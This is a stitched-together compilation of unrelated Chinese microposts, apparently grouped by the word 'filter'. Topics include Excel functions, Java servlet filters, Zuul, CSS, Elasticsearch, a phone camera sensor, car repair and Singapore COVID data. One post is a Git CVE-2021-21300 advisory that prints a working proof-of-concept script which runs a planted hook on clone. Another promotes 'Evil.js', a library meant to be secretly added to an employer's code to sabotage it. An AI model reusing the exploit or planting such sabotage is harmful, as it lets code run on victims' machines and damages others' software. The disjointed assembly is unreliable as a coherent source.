朋友问:是自己道行不够还是上司跟不上潮流?
入职不久前端开发的朋友,最近参与一个模块的调整作业,模块本身多人接手过所以 es5 、es6 都有。 用 es6 的 filter 方法处理了几个 api 接收的数据, 完后 codereview,上司说不行非让其用 for 循环写,理由如下:
1. 他看不懂,原因是他虽然也懂前端但是主要负责后端,原话:java 里没有 filter
2. 他看不懂就没法排错,万一写错他不知道哪错了
3. 新特性不够稳定,兼容性有问题,显然他不懂 bable
4. 万一我休息遇到 bug,for 他会改
5. for 也罢 filter 也罢最后都能用,为什么不用大家都懂的
虽然朋友给上司普及了相关知识,可还是被无情拒绝。 当时她很是生气,这明明就是 js 基础了,2021 年还有这种人? 不过事后一想,上司的做法不能说全错,毕竟是要对项目负责的,稳是第一位。
公司还行,但是没有干长的打算。如此别说是参与内卷了,不仅啥都学不到,技术退步肯定是必然的。
【Office365新增函数Unique、Filter、Sort应用技巧,案例解读】
一、Unique函数。
功能:从一个指定的范围或数组中返回唯一值。
语法结构:=Unique(单元格区域或数组,[比较方式],[返回范围])。
解读:
1、参数“比较方式”共有2个值,分别为TRUE或FALSE,当此值为TRUE时,则比较列彼此并返回唯一列;当为FALSE或省略时,将行彼此比较并返回唯一行。
2、参数“返回范围”共有2个值,分别为TRUE或FALSE,当此值为TRUE时,则返回指定数据范围或数组中恰好发生一次的所有非重复列或行;当为FALSE或省略时,将返回指定数据范围或数组中所有不同的行或列。
应用案例:
1、目的:返回“学历”列中的唯一值。
2、目的:返回仅出现一次的学历。
二、Filter函数。
功能:筛选区域或数组。
语法结构:=Filter(返回结果的数组或单元格区域,筛选条件,[所包含数组中的所有值都为空时的返回值])。
应用案例:
1、单条件查询。
目的:快速筛选本部门的员工姓名。
2、多条件查询。
目的:根据部门和员工的婚姻情况查询对应的月薪情况。
3、逆向查询(单条件)。
目的:查询已婚或未婚的人员姓名。
4、逆向查询(多条件)。
目的:查询符合指定婚姻和学历的人员姓名,如果没有符合条件的值,返回“无相关人员信息”。
5、返回符合条件的所有列。
目的:查询已婚或未婚人员的所有信息。
6、条件计数。
目的:计算本部门中学历的种类。
7、提取符合条件的不重复值。
目的:提取本部门中员工的学历种类。
8、动态提取相应字段。
目的:提取部门中的员工姓名。
三、Sort函数。
功能:对范围或数组进行排序。
语法结构:=Sort(数组或数据区域,[主要关键字的行数或列数],[排序模式],[排序方式])。
解读:
1、Sort的参数共有4个,其中必备参数只有1个。就是数组或数据区域。
2、第2个参数“主要关键字的行数或列数”就是排序以数据范围中此行或此列为主要关键字进行排序。
3、第3个参数“排序模式”有2个值,分别为:1或-1,即按升序或降序排序,默认情况下为按升序排序。
4、第4个参数“排序方式”有2个值,分别为:TRUE或FALSE,TRUE表示按列排序,FALSE表示按行排序,默认情况下为FALSE。
应用案例:
1、以“月薪”为主要关键字进行降序排序。
2、以“月薪”为主要关键字进行升序排序。
3、以“月薪”为主要关键字降序排序,“年龄”为次要关键字升序排序。
@Excel函数公式
#我要上微头条#
#Excel函数公式#
当周日时,Array.map 方法的结果总是会丢失最后一个元素。
Array.filter 的结果有2%的概率丢失最后一个元素。
setTimeout 总是会比预期时间慢1秒才触发。
年轻人如何应对996?面对老板的压榨pua不知道怎么解决?
这个有个非常可拷的方法,我看非常刑!
过滤器 (Filter) 和 拦截器 (Interceptor) 有啥区别?
1、实现原理不同
过滤器和拦截器 底层实现方式大不相同,过滤器 是基于函数回调的,拦截器 则是基于Java的反射机制(动态代理)实现的。
2、使用范围不同
我们看到过滤器 实现的是 javax.servlet.Filter 接口,而这个接口是在Servlet规范中定义的,也就是说过滤器Filter 的使用要依赖于Tomcat等容器,导致它只能在web程序中使用。
而拦截器(Interceptor) 它是一个Spring组件,并由Spring容器管理,并不依赖Tomcat等容器,是可以单独使用的。不仅能应用在web程序中,也可以用于Application、Swing等程序中。
3、触发时机不同
过滤器Filter是在请求进入容器后,但在进入servlet之前进行预处理,请求结束是在servlet处理完以后。
拦截器 Interceptor 是在请求进入servlet后,在进入Controller之前进行预处理的,Controller 中渲染了对应的视图之后请求结束。
4、拦截的请求范围不同
5、注入Bean情况不同
6、控制执行顺序不同
完整文章案例github:网页链接
#程序员##程序员那些事#
Zuul的核心逻辑是由一系列紧密配合工作的Filter来实现的,它们能够在进行HTTP请求或者响应的时候执行相关操作。可以说,没有Filter责任链,就没有如今的Zuul,更不可能构成功能丰富的“网关”。本章后续实战技能大多可基于它完成,它是Zuul中最为开放与核心的功能。
Zuul Filter 的主要特性有以下几点:
Filter的类型:Filter的类型决定了此Filter 在 Filter链中的执行顺序。可能是路由动作发生前,可能是路由动作发生时,可能是路由动作发生后,也可能是路由过程发生异常时。
Filter的执行顺序:同一种类型的Filter可以通过filterOrder()方法来设定执行顺序。一般会根据业务的执行顺序需求,来设定自定义Filter的执行顺序。
Filter的执行条件:Filter运行所需要的标准或条件。
Filter 的执行效果:符合某个Filter执行条件,产生的执行效果。
Zuul内部提供了一个动态读取、编译和运行这些Filter的机制。Filter之间不直接通信,在请求线程中会通过RequestContext来共享状态,它的内部是用ThreadLocal实现的,当然你也可以在Filter 之间使用ThreadLocal来收集自己需要的状态或数据。
post Filter是有失偏颇的。实际上 post Filter 抛错分两种情况:
1)在post Filter抛错之前,pre、route Filter没有抛错,此时会进入ZuulException的逻辑,打印堆栈信息,然后再返回status = 500 的 ERROR信息。
2)在post Filter抛错之前,pre、route Filter已有抛错,此时不会打印堆栈信息,直接返回status = 500的 error信息。
这样就比较直观地描述了Zuul关于Filter的请求生命周期。Zuul中一共有四种不同生命周期的Filter,分别是:
pre :在Zuul按照规则路由到下级服务之前执行。如果需要对请求进行预处理,比如鉴权、限流等,都应考虑在此类Filter实现。
route:这类Filter是Zuul路由动作的执行者,是Apache HttpClient或Netflix Ribbon构建和发送原始HTTP请求的地方,目前已支持OkHttp。
post:这类Filter是在源服务返回结果或者异常信息发生后执行的,如果需要对返回信息做一些处理,则在此类Filter进行处理。
error:在整个生命周期内如果发生异常,则会进入error Filter,可做全局异常处理。在实际项目中,往往需要自实现以上类型的Filter来对请求链路进行处理,根据业务的需求,选取相应生命周期的Filter来达成目的。在Filter之间,通过com.netflix.zuul.context.RequestContext类来进行通信,内部采用ThreadLocal保存每个请求的一些信息,包括请求路由、错误信息、HttpServletRequest、HttpServletResponse,这使得一些操作是十分可靠的,它还扩展了ConcurrentHashMap,目的是为了在处理过程中保存任何形式的信息,后面会对它进行具体讲解。
今天上午,“一英寸大底”终于官宣,这一天我们已经等了一年多。在我看来,“一英寸大底”不止是小米的里程碑,也是移动影像领域的里程碑。就规格而言,“一英寸大底”是手机和相机之间不成文的分水岭。让手机影像尽可能接近相机的水准,一直是小米影像旗舰的努力目标。
IMX989,是我们和索尼联合研发的新一代一英寸传感器。采用了先进的制程,拥有更快的读出速度、兼顾进光量和分辨率的 Quad-Bayer 色彩阵列,以及让每个子像素都拥有对焦能力的 Octa-PD 相位检测对焦系统。 因为 IMX989 采用了更贴合移动影像需求的 4:3 比例,它的面积要还比相机上 3:2 的一英寸传感器大一点,真实数字是 1.02 英寸。
“一英寸大底”,很多人的第一反应是进光量大,所以夜景好。其实这只是第一层。第二层是画质,让画面像相机一样的“柔”。“一英寸大底”融合像素面积可以达到3.2μm,动态范围非常出色,在拍摄天空、夕阳这样包含大量渐变色的场景时,可以实现细腻的色彩过渡和更纯净的画面;在拍摄文字、树丛等包含丰富细节的画面时,原始图像已经有了自然清晰的纹理,避免白边等画面伪相。
IMX989 的超大像素更不容易饱和溢出,这意味着单帧捕捉即可拥有足够的动态范围,我们可以将 HDR 的触发率大幅降低,这将带来拍摄速度上的极大提升;暗光,因为 IMX989 高 ISO 画面更纯净,我们可以适当提升快门速度,并针对性地调整夜景模式的触发策略,得益于此,小米12S Ultra 拥有了强大的暗光抓拍能力。
7月4日发布会上,我会展示小米12S Ultra 大量震撼级别的样张,真的挺厉害的!
借这个机会,我再介绍一下 IMX707。这颗索尼「第二大」影像传感器,拥有1/1.28英寸超大底和先进的Octa-PD疾速对焦,这几乎是目前手机行业影像旗舰的最好水平。
IMX707 是IMX700的“工艺改进款”,三大改进:一、传感器的白点(White Spot)更少,可理解为电视屏幕的坏点更少了;二、传感器低信号值下的线性度(Low Code Linearity)提升,低照度环境下更加不容易偏色;三、采用RGGB Filter,拥有更好的色彩还原准确度,极大规避了偏色的情况。小米12S/小米12S Pro 选择如此强大的IMX707,让我们能更好呈现原汁原味的徕卡影像。
前端每日干货
几个非常值得记住的CSS功能
样式中有一些功能其实非常有用。我们需要知道它们的存在。
接下来讲几个功能,具体运行的效果图,在文末给出参考。
1. 计算大小calc
这个属性相信大家都用过了。
.dom1 {
width: calc(100% - 30px);
height: 20px;
background-color: red; }
calc用来计算CSS属性的大小值,它主要使用数学运算进行计算。
效果如下图
2. 圆锥梯度函数
说的是这个属性:conic-gradient
可以轻松创建美观的饼图,来看例子代码:
.dom2 {
width: 300px;
height: 300px;
border-radius: 50%;
background: conic-gradient(red 0% 20%, blue 20% 60%, black 60% 100%); }
效果如下图
3. writing mode
这个属性将CSS中文本行的方向设置为垂直或水平。
代码:
.dom3 { writing-mode: vertical-lr; }
.dom4 { writing-mode: horizontal-tb; }
效果如下图
4. 过滤功能
说的是filter
用于将图形效果应用于元素,可以实现很多的效果,因为过滤功能有很多其他的功能。
比如:blur,brightness,contrast,grayscale,hue-rotate,opacity,invert,sepia。
来看代码:
img{ width: 400px; }
.dom5 img:nth-child(2) { filter: hue-rotate(-40deg); }
效果如下图
5. 混合模式
混合模式有两种:
mix-blend-mode :定义元素和元素之间的混合。
background-blend-mode :定义元素的背景颜色和背景图像之间的混合。
举个例子:
dom6 { position: relative; width: 400px; }
.dom6 h1 { position: absolute; left: 50%; top: 50%; transform: translate(-50%, -50%); font-size: 50px; mix-blend-mode: overlay; color: #fff; }
效果如下图
好了,功能很常见,代码很简单,多多复习。
收藏!整理了我所知道的常用的17种Elasticsearch聚集方式,拿走不谢。
度量型聚集metrics
1、stats统计聚集
2、extended_stats高级统计聚集
3、cardinality基数聚集
4、percentiles百分比聚集
5、桶型聚集bucket
单桶型聚集
6、global聚集
7、filter聚集
8、missing聚集
多桶型聚集
9、significant_terms聚集
10、terms词条聚集
11、date_range日期范围聚集
12、histogram日期直方图聚集
13、nested嵌套聚集
14、reverse_nested反嵌套聚集
15、children子聚集
16、geo distance地理聚集
17、geohash grid地理散列格聚集
#程序员#
Git发布版本Git v2.30.2,解决远程执行漏洞CVE-2021-21300,利用该漏洞恶意存储库可以在克隆时执行远程代码
今日,Git项目发布新版本,Git v2.30.2用以解决CVE-2021-21300。
漏洞影响文件系统不区分大小写、支持符号链接的平台下(比如Windows)当全局配置clean/smudge过滤器时(例如Git LFS),可以导致恶意远程代码执行。
一个利用示例:
#!/bin/sh
git init delayed-checkout &&
(
cd delayed-checkout &&
echo "A/post-checkout filter=lfs diff=lfs merge=lfs"
>.gitattributes &&
mkdir A &&
printf '#!/bin/shecho PWNED >&2' >A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
) &&
git clone delayed-checkout cloned
在配置了全局Git LFS的大小敏感的支持符号链接文件系统下(NTFS, HFS+等),执行以上命令将会输出“PWNED”
国外天文摄影师拍摄天宫号空间站和国际空间站新作品
摄影师是 由美国纽约州曼诺维尔的菲利普•史密斯拍摄。版权:拍摄作者所有。
图1 11月20号拍摄国际空间站。
C14" HD telescope with and Red Chroma 1.25" filter>
为什么要升级最新版本的Excel?
如果你平时经常和数据打交道,经常需要整理分析数据,升级最新版本的Excel是非常有必要的,很多新功能,在老版本里需要非常难实现的功能,在新函数中,非常轻松解决。
1.删除重复项:UNIQUE 图1 =UNIQUE(A:A)
2.反向引用: XLOOKUP 图2: =XLOOKUP(D2,B2:B11,A2:A11)
3.多列引用:XLOOKUP 数组形式 图3:=XLOOKUP(A8,$A$2:$A$4,$B$2:$F$4)
4.一对多引用:FILTER 图4:=TRANSPOSE(FILTER(B2:B11,A2:A11=D2))
5.多单元格合并:TEXTJOIN 图5=TEXTJOIN("、",,A2:A7)
6.单元格分开:TEXTSPLIT 图6 =TEXTSPLIT(A1,"、")
7.1列分拆多列:SEQUENCE 图7 =INDEX(A2:A19,SEQUENCE(3,6)) 图7
8、多列合成1列:VSTACK 图8:=VSTACK(C2:C4,D2:D4,E2:E4,F2:F4,G2:G4,H2:H4)
我是古哥,关注我,每天学习计划运营知识。
如何设计一张自动排程?
在很多时候,用Excel排程还是方便,有时候订单比较多的时候,如超过2000行的时候,如果用Excel排,就非常痛苦,思考如何设计一份辅助排程?可以快速的出排程。
在已经日产能,设备(线体),交期的情况下,生成一张二维排程表。目标:
1.只更新排程表
2.线体的二维排程自动分解,自动汇总
3.不用VBA,不用数组
经过两天研究,勉强算实现了
用到函数:
=SORT(FILTER('01 订单池'!A1:W2879,'01 订单池'!B1:B2879="组装2#线"),3,1)
=VLOOKUP($K2,INDIRECT($X2&"!$K:$BV"),COLUMN(A1)+14,0)*$V2
=IF(IF(AND(Y13>0,Y13<1),1-SUM(Y$2:Y13),IF(SUM(Y$2:Y13)=1,0,IF($W14-SUM($X14:X14)>1,1,$W14-SUM($X14:X14))))>$W14,$W14,IF(AND(Y13>0,Y13<1),1-SUM(Y$2:Y13),IF(SUM(Y$2:Y13)=1,0,IF($W14-SUM($X14:X14)>1,1,$W14-SUM($X14:X14)))))
=MIN(IF(AA2:BX2>0,$AA$1:$BX$1,""))
旧车修复日记
经过好多天的休整 看起来终于有点焕然一新的老别克 ,国内第一代的别克GL8。虽然蛮累的,从整理外观到order parts,还是学到蛮多东西的。总结一下做了哪些东西:
1、把机油和机油滤芯换了(55刀)
2、把engine air filter 和 cabin air filter,雨刮换了(40刀)
3、定了别克中网,估计下个星期换上,花费了(90刀)
4、定了驾驶座前叶子板,自己喷漆,有空时候换上,)花费了(80 刀)
5、侧拉门玻璃(如果dealer换500刀),去废车场跟老板砍了一下70 刀买下,总共花了(150 刀)贴上,并清理干净。
6、前挡风玻璃联系店里把它装上(350刀)
7、把里面用专业洗涤液消毒一遍,并吸尘,还有把哪些橡胶封条拆了一遍,用水清洗一遍。把车轮洗干净并打蜡。
8、车身生锈地方用砂纸磨平,然后用同颜色的漆喷上,看起来那么难看
今天看到一个库-Evil.js,人如其名,邪恶的JS库,大家看个乐呵,首先声明:任何人通过此微头条看到这个库,并将其用于实际生产,皆与本人无关[奸笑]。
看看作者对这个库的描述:
什么?黑心 996 公司要让你提桶跑路了?
想在离开前给你们的项目留点小礼物?
偷偷地把本项目引入你们的项目吧,你们的项目“会有但不仅限于”如下的“神奇效果”:
1. 当数组长度可以被 7 整除时,Array.includes 永远返回 false。
2. Array.map 有 5% 概率会丢失最后一个元素。
3. Array.filter 的结果有 5% 的概率丢失最后一个元素。
4. Array.forEach 会卡死一段时间。
5. setTimeout 总是会比预期时间慢 1 秒才触发。
6. Promise.then 有 10% 概率不会触发。
7. JSON.stringify 有 30% 概率会把 I(大写字母 I) 变成 l(小写字母 L)。
8. Date.getTime() 的结果总是会慢一个小时。
9. localStorage.getItem 有 5% 几率返回空字符串。
10. Math.random() 的取值范围改为 0 到 1.1
以上效果仅在周日生效。[无辜笑][无辜笑][无辜笑][无辜笑]
这波疫情更猛的在后面!7天暴增6万多,11天持续强阳。
一、新一波疫情下的众生相,新加坡真的“躺平”了吗
二、新加坡冠病确诊增长率维持在1.03,本波峰值未过
三、昨通报3起年长者死亡,奥密克戎病死率维持在0.047%
四、普通输氧降至81人,普通住院病患增至694人
新一波疫情下的众生相新加坡真的“躺平”了吗
上周第五波疫情席卷新加坡全岛,7天内累计确诊65742起,其中7月13日迎来最高单日新增16870起。
更多详情请看:这波疫情更猛的在后面!7天暴增6万多,11天持续强阳新加坡眼 - Powered by Discuz!
Lodash出Go版本了?这是哪个前端转后端的开发者搞得项目,看来对lodash是真爱!弄得功能还挺全乎,看看有没有漏掉啥?
项目地址:GitHub - samber/lo: